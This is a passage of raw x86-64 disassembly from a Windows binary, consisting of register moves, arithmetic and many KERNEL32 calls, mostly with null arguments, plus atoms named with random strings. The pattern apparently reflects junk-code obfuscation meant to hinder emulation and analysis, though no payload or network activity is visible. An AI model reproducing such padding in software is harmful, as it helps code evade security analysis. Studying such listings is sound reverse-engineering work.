mov rax, qword [rax]
mov qword [rsp + 0xde98], rax
movsx eax, word [rsp + 0x138c]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xda0], ax
movzx ecx, word [rsp + 0x21c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2528], ax
movzx eax, word [rsp + 0x209c]
movzx ecx, word [rsp + 0x1260]
sub eax, ecx
mov rcx, qword [rsp + 0xd600]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov edx, 0x24a0
mov rcx, qword [rsp + 0xc528]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x64e0], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xcc08]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8b38], rax
mov rax, qword [rsp + 0xca48]
movzx eax, word [rax]
mov word [rsp + 0x252c], ax
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xd7e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd540], rax
lea rcx, str.mjDc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2530], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xdbf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa138], rax
mov eax, dword [rsp + 0x6400]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xdea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdea0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x557c], eax
mov rcx, qword [rsp + 0xd300]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
lea rcx, [rsp + 0x20668]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67bc], eax
mov rax, qword [rsp + 0xd498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
movzx eax, byte [rsp + 0x261]
mov byte [rsp + 0x3e8], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x602c]
shl eax, cl
mov dword [rsp + 0x6144], eax
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68c0], eax
mov rax, qword [rsp + 0xda98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd7b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0xcd08]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b30]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c71c8], ax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov rcx, qword [rsp + 0xc638]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xd998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f78], ax
mov rcx, qword [rsp + 0xd9d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [0x1401c7158]
mov word [rsp + 0x2534], ax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x59e8]
movzx ecx, al
mov eax, dword [rsp + 0x64c0]
shl eax, cl
mov rcx, qword [rsp + 0xd6e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd3e0]
mov qword [rsp + 0xdea8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x1d570]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x1401adad8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2538], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a12]
or eax, ecx
mov byte [rsp + 0x380], al
movsx eax, word [rsp + 0x1b38]
mov rcx, qword [rsp + 0xd358]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xad4], ax
movzx eax, word [rsp + 0x2378]
mov rcx, qword [0x1401c8d48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0xd230]
mov rcx, qword [rsp + 0xce10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401c8a90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb270]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd48], rax
mov rax, qword [0x1401c7108]
mov qword [rsp + 0xdeb0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6394], eax
mov rax, qword [rsp + 0xc7b0]
mov rcx, qword [rsp + 0xc6e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa20]
shl eax, cl
mov word [rsp + 0x17b0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov eax, dword [rsp + 0x57b4]
movzx ecx, al
mov eax, dword [rsp + 0x679c]
sar eax, cl
mov dword [rsp + 0x6830], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd940]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
cdq
idiv ecx
mov byte [rsp + 0x3c4], al
mov rax, qword [rsp + 0xca30]
movzx eax, byte [rax]
mov byte [rsp + 0x3e9], al
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
mov ecx, dword [0x1401c8c60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [0x1401c8db8], rax
movzx eax, word [rsp + 0x1fe8]
mov word [rsp + 0x253c], ax
movsx eax, word [0x1401c8c08]
movsx ecx, word [rsp + 0x2508]
and eax, ecx
mov word [rsp + 0x221c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx eax, word [rsp + 0x2200]
mov rcx, qword [rsp + 0xd788]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2404], ax
mov rax, qword [0x1401c7140]
mov rcx, qword [rsp + 0xda88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2e8], rax
mov rax, qword [rsp + 0xcde8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x64f0]
mov dword [rsp + 0x5984], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6780], eax
lea rax, [rsp + 0xa9]
mov qword [rsp + 0xdeb8], rax
mov rax, qword [rsp + 0xc3a8]
mov rcx, qword [rsp + 0xca58]
mov qword [rsp + 0xdec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdec0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc658]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2000]
mov word [rsp + 0x2540], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [0x1401adae0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2544], ax
movzx eax, word [rsp + 0x20c4]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c71cc], ax
mov rax, qword [0x1401c8b00]
mov rcx, qword [rsp + 0xd230]
mov qword [rsp + 0xdec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdec8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd198], rax
movzx eax, word [rsp + 0x1fd8]
mov rcx, qword [rsp + 0xd898]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2400], ax
movzx ecx, word [rsp + 0x2144]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2338], ax
mov rax, qword [rsp + 0xd940]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x394]
sub eax, ecx
mov byte [rsp + 0x1c0], al
mov eax, dword [rsp + 0x6660]
mov ecx, dword [rsp + 0x6118]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f08], eax
mov rax, qword [rsp + 0xdeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ea], al
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xc910]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd7d8], rax
mov rax, qword [rsp + 0xd458]
mov ecx, dword [rsp + 0x6058]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5984], eax
mov rax, qword [rsp + 0xc9f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23ec]
add eax, ecx
mov word [rsp + 0xb20], ax
mov r9d, 1
lea r8, [rsp + 0xd160]
mov rdx, qword [rsp + 0xcc78]
mov rcx, qword [rsp + 0xcb08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68c4], eax
mov rcx, qword [rsp + 0xd1c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
movzx eax, word [0x1401c8d00]
movzx ecx, word [rsp + 0x2384]
xor eax, ecx
mov rcx, qword [0x1401c8b60]
mov word [rcx], ax
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a90], rax
mov rax, qword [rsp + 0xae30]
mov qword [rsp + 0xded0], rax
lea rcx, [rsp + 0x20698]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [0x1401adae8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23ac], ax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xdb48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6650], eax
mov rax, qword [0x1401c8cb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd528]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2238], ax
movzx eax, word [rsp + 0x195c]
movzx ecx, word [rsp + 0x1388]
or eax, ecx
mov rcx, qword [rsp + 0xd998]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x5a30]
mov dword [rsp + 0x68c8], eax
movzx ecx, word [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2454], ax
mov rax, qword [rsp + 0xc548]
mov rcx, qword [rsp + 0xd498]
mov qword [rsp + 0xded8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xded8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb460], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x68cc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a9], al
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xa850]
mov qword [rsp + 0xc620], rax
movzx eax, word [rsp + 0x2070]
mov word [0x1401c8dc0], ax
mov rax, qword [rsp + 0xdd00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2124], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6478], eax
lea rcx, [rsp + 0x206c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
mov byte [rsp + 0x3eb], al
mov eax, dword [rsp + 0x5a24]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xdee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdee0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5c0c], eax
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x2254]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0xb2e0]
mov rcx, qword [rsp + 0xc7b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcfa8]
mov qword [rsp + 0xdee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdee8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6514], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd708], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov qword [rsp + 0xdef0], rax
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0xcf00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2258], ax
movzx eax, word [rsp + 0x2158]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8d30], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov qword [rsp + 0xdef8], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x222c], ax
movsx eax, word [rsp + 0x2374]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e50], ax
movzx ecx, word [rsp + 0x2298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0xd560]
mov rax, qword [rax]
mov rcx, qword [0x1401c70c8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd980]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5a54]
movzx ecx, al
mov eax, dword [rsp + 0x5e5c]
shl eax, cl
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0xa598]
mov qword [rsp + 0xdf00], rax
movsx eax, byte [rsp + 0xa9]
movsx ecx, byte [rsp + 0x3bd]
sub eax, ecx
mov byte [rsp + 0x3b5], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd3b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xddc], ax
lea rcx, [rsp + 0x20128]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd400]
mov rax, qword [rax]
mov qword [0x1401c8dc8], rax
mov rax, qword [rsp + 0xd650]
mov ecx, dword [rsp + 0x6470]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65b4], eax
movzx eax, byte [rsp + 0x3ad]
movzx ecx, byte [rsp + 0x36b]
or eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [0x1401c8ce0]
movzx eax, word [rax]
mov word [rsp + 0x2548], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2464]
shl eax, cl
mov word [rsp + 0x22c8], ax
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xcff0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68d0], eax
mov rax, qword [rsp + 0xdcb8]
mov eax, dword [rax]
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xce60]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8ca8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x165], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xcf18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe90], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xce38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8acc], ax
xor r9d, r9d
lea r8, [rsp + 0xd9c0]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68d8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6640], eax
lea rcx, [rsp + 0x1d778]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xdf08], rax
mov rax, qword [rsp + 0xa800]
mov rcx, qword [rsp + 0xd818]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf30], rax
lea rax, [rsp + 0xddf0]
mov qword [rsp + 0xdf10], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xd3d0]
mov rcx, qword [0x1401c8aa8]
mov qword [rsp + 0xdf18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc130], rax
movzx eax, word [rsp + 0x850]
mov word [rsp + 0x254c], ax
mov r9d, 0x1e40
xor r8d, r8d
lea rdx, [rsp + 0xdc80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6304], eax
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc550]
shr rax, cl
mov rcx, qword [rsp + 0xcb00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
or eax, ecx
mov byte [rsp + 0x310], al
lea rcx, [rsp + 0x201b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xdc98]
mov rcx, qword [rsp + 0xdaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x59c8], eax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3d4], al
lea rax, [rsp + 0x5ff0]
mov qword [rsp + 0xdf20], rax
mov rcx, qword [rsp + 0xdb78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c71d0], ax
lea rcx, str.Gd_FSJM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23dc], ax
mov rcx, qword [rsp + 0xdbb0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx eax, word [rsp + 0x24b0]
mov rcx, qword [rsp + 0xd788]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0xd578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x222c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdf28], rax
lea rcx, [rsp + 0x20188]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcfb8]
mov qword [rsp + 0xdf30], rax
mov rax, qword [rsp + 0xc658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd778]
mov qword [rsp + 0xdf38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf38]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc730], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6724]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59c4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x658c], eax
lea rcx, [rsp + 0x20698]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, str.mqyJEd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xd8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd4e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x397], al
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2498], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6808], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
mov word [rsp + 0x2554], ax
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1401c8c20]
cqo
idiv qword [rsp + 0xc760]
mov qword [0x1401c8ca0], rax
movzx eax, word [rsp + 0x1b74]
movzx ecx, word [rsp + 0x2170]
xor eax, ecx
mov rcx, qword [rsp + 0xcdf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd268]
mov rax, qword [rax]
mov qword [rsp + 0xdf40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdf48], rax
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6744], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xd2b8]
mov rax, qword [rax]
mov rcx, qword [0x1401c7058]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9928], rax
mov edx, 0x2193
mov rcx, qword [rsp + 0xd168]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x68dc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
imul eax, dword [rsp + 0x67cc], 0x99a8
mov dword [rsp + 0x58ac], eax
mov rax, qword [rsp + 0xd8d8]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8ca8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3cc], al
lea rdx, [rsp + 0x263a8]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6704], eax
mov eax, dword [rsp + 0x6690]
mov ecx, dword [rsp + 0x6118]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5dec], eax
lea rax, [rsp + 0x36b]
mov qword [rsp + 0xdf50], rax
mov rax, qword [rsp + 0xdca8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401c8a68]
shl rax, cl
mov qword [rsp + 0xdbc8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xdf58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1808]
sub eax, ecx
mov word [0x1401c8bb8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdf48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rax, [rsp + 0x254c]
mov qword [rsp + 0xdf60], rax
movzx eax, word [0x1401c7130]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20a0], ax
lea rcx, [rsp + 0x206f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x2188]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0xae00]
mov qword [rsp + 0xdf68], rax
mov rax, qword [0x1401c8d60]
mov rcx, qword [rsp + 0xdcb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6508], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65f4], eax
movsx eax, byte [rsp + 0x3cf]
movsx ecx, byte [rsp + 0x37a]
shl eax, cl
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd9f0]
mov word [rcx], ax
lea rcx, [rsp + 0x1d480]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f94]
or eax, ecx
mov rcx, qword [rsp + 0xd600]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd68]
mov qword [0x1401c8dd0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68e0], eax
lea rdx, [rsp + 0x263e0]
